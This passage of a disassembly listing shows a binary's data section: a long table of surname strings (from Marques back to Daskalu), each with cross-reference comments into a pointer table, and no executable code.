XREF: ___:0042E08Co align 4 aMarques db 'Marques',0 ; DATA XREF: ___:0042E088o aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E084o align 4 aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E080o align 4 aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E07Co align 10h aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E078o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E074o align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E070o align 10h aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E06Co aMandel db 'Mandel',0 ; DATA XREF: ___:0042E068o align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E064o aMalova db 'Malova',0 ; DATA XREF: ___:0042E060o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E05Co align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E058o align 4 aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E054o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E050o align 10h aMaier db 'Maier',0 ; DATA XREF: ___:0042E04Co align 4 aMahony db 'Mahony',0 ; DATA XREF: ___:0042E048o align 10h aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E044o align 4 aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E040o aMacy db 'Macy',0 ; DATA XREF: ___:0042E03Co align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E038o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E034o align 10h aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E030o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E02Co align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E028o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E024o align 10h aMa db 'Ma',0 ; DATA XREF: ___:0042E020o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E01Co aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E018o align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E014o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E010o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E00Co aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E008o align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E004o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E000o aLucas db 'Lucas',0 ; DATA XREF: ___:0042DFFCo align 10h aLubin db 'Lubin',0 ; DATA XREF: ___:0042DFF8o align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042DFF4o align 10h aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042DFF0o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042DFECo aLoss db 'Loss',0 ; DATA XREF: ___:0042DFE8o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042DFE4o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042DFE0o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042DFDCo aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042DFD8o aLivi db 'Livi',0 ; DATA XREF: ___:0042DFD4o align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042DFD0o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042DFCCo align 10h aLittle db 'Little',0 ; DATA XREF: ___:0042DFC8o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFC4o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFC0o align 10h aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFBCo align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFB8o aLine db 'Line',0 ; DATA XREF: ___:0042DFB4o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042DFB0o align 10h aLinda db 'Linda',0 ; DATA XREF: ___:0042DFACo align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042DFA8o aLim db 'Lim',0 ; DATA XREF: ___:0042DFA4o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042DFA0o align 10h aLight db 'Light',0 ; DATA XREF: ___:0042DF9Co align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042DF98o align 10h aLidano db 'Lidano',0 ; DATA XREF: ___:0042DF94o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042DF90o align 10h aLessi db 'Lessi',0 ; DATA XREF: ___:0042DF8Co align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042DF88o align 10h aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042DF84o align 4 aLenard db 'Lenard',0 ; DATA XREF: ___:0042DF80o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042DF7Co align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042DF78o align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042DF74o align 10h aLecar db 'Lecar',0 ; DATA XREF: ___:0042DF70o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042DF6Co aLashley db 'Lashley',0 ; DATA XREF: ___:0042DF68o aLaserna db 'Laserna',0 ; DATA XREF: ___:0042DF64o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042DF60o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042DF5Co align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042DF58o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0042DF54o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042DF50o align 10h aLaing db 'Laing',0 ; DATA XREF: ___:0042DF4Co align 4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042DF48o align 10h aLabunka db 'Labunka',0 ; DATA XREF: ___:0042DF44o aLa db 'La',0 ; DATA XREF: ___:0042DF40o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042DF3Co align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042DF38o align 10h aKumar db 'Kumar',0 ; DATA XREF: ___:0042DF34o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042DF30o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042DF2Co aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042DF28o aKraus db 'Kraus',0 ; DATA XREF: ___:0042DF24o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042DF20o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042DF1Co align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042DF18o aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042DF14o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042DF10o align 10h aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042DF0Co align 4 aKool db 'Kool',0 ; DATA XREF: ___:0042DF08o align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042DF04o align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042DF00o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042DEFCo align 10h aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042DEF8o align 4 aKohn db 'Kohn',0 ; DATA XREF: ___:0042DEF4o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042DEF0o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042DEECo aKnuff db 'Knuff',0 ; DATA XREF: ___:0042DEE8o align 4 aKlint db 'Klint',0 ; DATA XREF: ___:0042DEE4o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042DEE0o aKling db 'Kling',0 ; DATA XREF: ___:0042DEDCo align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042DED8o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042DED4o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042DED0o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042DECCo align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042DEC8o align 10h aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042DEC4o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042DEC0o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042DEBCo aKindall db 'Kindall',0 ; DATA XREF: ___:0042DEB8o aKimura db 'Kimura',0 ; DATA XREF: ___:0042DEB4o align 10h aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042DEB0o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042DEACo align 10h aKhong db 'Khong',0 ; DATA XREF: ___:0042DEA8o align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042DEA4o align 10h aKerry db 'Kerry',0 ; DATA XREF: ___:0042DEA0o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042DE9Co aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042DE98o aKempton db 'Kempton',0 ; DATA XREF: ___:0042DE94o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042DE90o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042DE8Co align 10h aKeith db 'Keith',0 ; DATA XREF: ___:0042DE88o align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042DE84o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042DE80o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042DE7Co aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042DE78o aKasten db 'Kasten',0 ; DATA XREF: ___:0042DE74o align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0042DE70o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042DE6Co align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042DE68o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE64o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE60o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE5Co align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE58o align 10h aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE54o align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE50o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE4Co aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE48o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE44o aJulious db 'Julious',0 ; DATA XREF: ___:0042DE40o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE3Co aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE38o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE34o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE30o align 10h aJohns db 'Johns',0 ; DATA XREF: ___:0042DE2Co align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE28o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE24o aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE20o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE1Co align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE18o aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE14o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE10o aJay db 'Jay',0 ; DATA XREF: ___:0042DE0Co aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE08o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE04o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE00o align 10h aJamil db 'Jamil',0 ; DATA XREF: ___:0042DDFCo align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042DDF8o align 10h aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DDF4o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042DDF0o align 10h aJagers db 'Jagers',0 ; DATA XREF: ___:0042DDECo align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042DDE8o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DDE4o aIyer db 'Iyer',0 ; DATA XREF: ___:0042DDE0o align 10h aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DDDCo align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DDD8o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DDD4o align 10h aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DDD0o align 4 aInniss db 'Inniss',0 ; DATA XREF: ___:0042DDCCo align 10h aInamura db 'Inamura',0 ; DATA XREF: ___:0042DDC8o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDC4o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDC0o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDBCo align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDB8o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDB4o align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDB0o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDACo align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDA8o align 10h aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDA4o align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDA0o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042DD9Co align 10h aHoy db 'Hoy',0 ; DATA XREF: ___:0042DD98o aHoward db 'Howard',0 ; DATA XREF: ___:0042DD94o align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042DD90o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042DD8Co aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DD88o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DD84o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DD80o aHooker db 'Hooker',0 ; DATA XREF: ___:0042DD7Co align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DD78o aHolway db 'Holway',0 ; DATA XREF: ___:0042DD74o align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042DD70o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DD6Co aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DD68o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD64o align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD60o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD5Co aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD58o align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042DD54o align 10h aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD50o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD4Co align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD48o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042DD44o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD40o align 10h aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD3Co align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD38o aHester db 'Hester',0 ; DATA XREF: ___:0042DD34o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD30o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD2Co align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD28o align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042DD24o align 10h aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD20o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD1Co aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD18o align 10h aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD14o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD10o aHeft db 'Heft',0 ; DATA XREF: ___:0042DD0Co align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD08o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD04o align 10h aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD00o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042DCFCo align 10h aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DCF8o align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DCF4o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DCF0o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DCECo align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DCE8o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042DCE4o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DCE0o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DCDCo align 10h aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DCD8o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042DCD4o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DCD0o aHand db 'Hand',0 ; DATA XREF: ___:0042DCCCo align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DCC8o align 10h aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCC4o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCC0o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCBCo aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCB8o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCB4o aHaley db 'Haley',0 ; DATA XREF: ___:0042DCB0o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCACo align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCA8o aHaar db 'Haar',0 ; DATA XREF: ___:0042DCA4o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042DCA0o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042DC9Co aGunn db 'Gunn',0 ; DATA XREF: ___:0042DC98o align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DC94o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DC90o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042DC8Co align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DC88o align 10h aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DC84o align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DC80o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DC7Co align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DC78o align 10h aGravell db 'Gravell',0 ; DATA XREF: ___:0042DC74o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DC70o align 10h aGoody db 'Goody',0 ; DATA XREF: ___:0042DC6Co align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DC68o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042DC64o align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC60o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC5Co align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC58o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC54o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC50o aGist db 'Gist',0 ; DATA XREF: ___:0042DC4Co align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC48o align 10h aGill db 'Gill',0 ; DATA XREF: ___:0042DC44o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DC40o align 10h aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC3Co aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC38o align 10h aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC34o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC30o align 10h aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC2Co aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC28o align 10h aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC24o align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042DC20o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC1Co aGarman db 'Garman',0 ; DATA XREF: ___:0042DC18o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC14o align 10h aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC10o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC0Co align 10h aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC08o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC04o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC00o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DBFCo align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042DBF8o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DBF4o align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DBF0o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DBECo align 10h aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DBE8o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DBE4o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DBE0o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DBDCo align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DBD8o align 10h aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DBD4o align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042DBD0o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DBCCo align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DBC8o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBC4o align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBC0o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBBCo align 10h aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBB8o align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBB4o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBB0o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DBACo align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DBA8o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042DBA4o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DBA0o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DB9Co aFisk db 'Fisk',0 ; DATA XREF: ___:0042DB98o align 10h aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DB94o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DB90o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DB8Co aFink db 'Fink',0 ; DATA XREF: ___:0042DB88o align 4 aField db 'Field',0 ; DATA XREF: ___:0042DB84o align 10h aFido db 'Fido',0 ; DATA XREF: ___:0042DB80o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DB7Co align 10h aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DB78o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DB74o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DB70o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DB6Co aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DB68o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB64o align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB60o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DB5Co align 10h aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB58o align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DB54o align 10h aFarone db 'Farone',0 ; DATA XREF: ___:0042DB50o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DB4Co align 10h aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB48o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB44o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB40o align 10h aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB3Co align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB38o aEverett db 'Everett',0 ; DATA XREF: ___:0042DB34o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB30o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DB2Co align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042DB28o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB24o align 10h aErez db 'Erez',0 ; DATA XREF: ___:0042DB20o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB1Co align 10h aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB18o align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB14o align 10h aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB10o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB0Co aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB08o aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB04o align 10h aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB00o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DAFCo align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DAF8o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DAF4o aEdward db 'Edward',0 ; DATA XREF: ___:0042DAF0o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DAECo align 10h aEdley db 'Edley',0 ; DATA XREF: ___:0042DAE8o align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DAE4o align 10h aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DAE0o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DADCo aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DAD8o align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DAD4o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DAD0o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DACCo align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DAC8o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DAC4o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAC0o align 10h aDoug db 'Doug',0 ; DATA XREF: ___:0042DABCo align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DAB8o align 10h aDosi db 'Dosi',0 ; DATA XREF: ___:0042DAB4o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAB0o align 10h aDore db 'Dore',0 ; DATA XREF: ___:0042DAACo align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAA8o align 10h aDonner db 'Donner',0 ; DATA XREF: ___:0042DAA4o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAA0o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DA9Co aDockery db 'Dockery',0 ; DATA XREF: ___:0042DA98o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DA94o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DA90o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DA8Co align 10h aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DA88o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DA84o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DA80o align 10h aDicks db 'Dicks',0 ; DATA XREF: ___:0042DA7Co align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DA78o align 10h aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DA74o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DA70o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DA6Co aDenham db 'Denham',0 ; DATA XREF: ___:0042DA68o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DA64o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA60o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA5Co align 10h aDeming db 'Deming',0 ; DATA XREF: ___:0042DA58o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DA50o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA4Co align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA48o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA44o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DA40o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA3Co aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA38o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA30o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA2Co align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA28o aDavid db 'David',0 ; DATA XREF: ___:0042DA24o align 4 aDaskalu db 'Daskalu',0 ; DATA 